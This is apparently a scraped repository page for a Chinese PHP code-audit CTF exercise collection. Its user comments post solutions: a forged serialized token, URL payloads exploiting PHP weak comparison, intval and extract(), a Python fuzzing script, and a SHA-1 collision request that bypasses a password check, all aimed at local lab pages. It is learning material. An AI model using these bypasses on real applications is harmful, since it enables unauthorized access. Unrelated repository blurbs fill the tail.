bowu678 / php_bugs Goto Github PK
View Code? Open in Web Editor NEWPHP代码审计分段讲解
PHP代码审计分段讲解
token = eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==
建议php文件名可以改为英文...
加油加油,谢谢
right answer:
<?php $login = array('user' => "ichunqiu"); $token = base64_encode(gzcompress(serialize("ichunqiiu"))); print($token); echo '</br>'; print($login['user'] === 'ichunqiu');
htmlentities()函数,单引号都被转义了,还注入个毛啊。。。。
php中哈希函数接收数组时,返回的不是FALSE,而是NULL
在md文件里已经写了详情了,如果把php文件的中文去掉后,本地测试的时候也方便一些。
http://127.0.0.1/Php_Bug/02.php?number=%00%2B191
%2B解析后为+,‘+191'=='191'且intval('191+')==191
(这道题解题思路如下
<?php
function is_palindrome_number($number) {
$number = strval($number); //strval — 获取变量的字符串值
$i = 0;
$j = strlen($number) - 1; //strlen — 获取字符串长度
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
$a = trim($_GET['number']);
var_dump(($a==strval(intval($a)))&(intval($a)==intval(strrev($a)))&!is_palindrome_number($a))
?>
Fuzzing代码如下:
import requests
for i in range(256):
rq = requests.get("http://127.0.0.1/vuln/CTF/1/index.php?number=%s191"%("%%%02X"%i))
if '1' in rq.text:
print "%%%02X"%i
Fuzzing结果如下:
%0C
%2B
根据sha碰撞https://security.googleblog.com/2017/02/announcing-first-sha1-collision.html
import requests
import urllib2
sha1 = urllib2.urlopen("http://shattered.io/static/shattered-1.pdf").read()[:500]
sha2 = urllib2.urlopen("http://shattered.io/static/shattered-2.pdf").read()[:500]
r = requests.get('http://127.0.0.1/07sha.php/', params={'name': sha1, 'password': sha2})
print r.text
直接通过PHP==的弱类型比较满足判断条件(前提是flag内容为非int等...)
'' == 0 == false,'xxx' ==0
http://127.0.0.1/Php_Bug/extract1.php?shiyan=
03.php好像里面的comment.php缺少了,是作者故意要我们自己补全的吗?
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.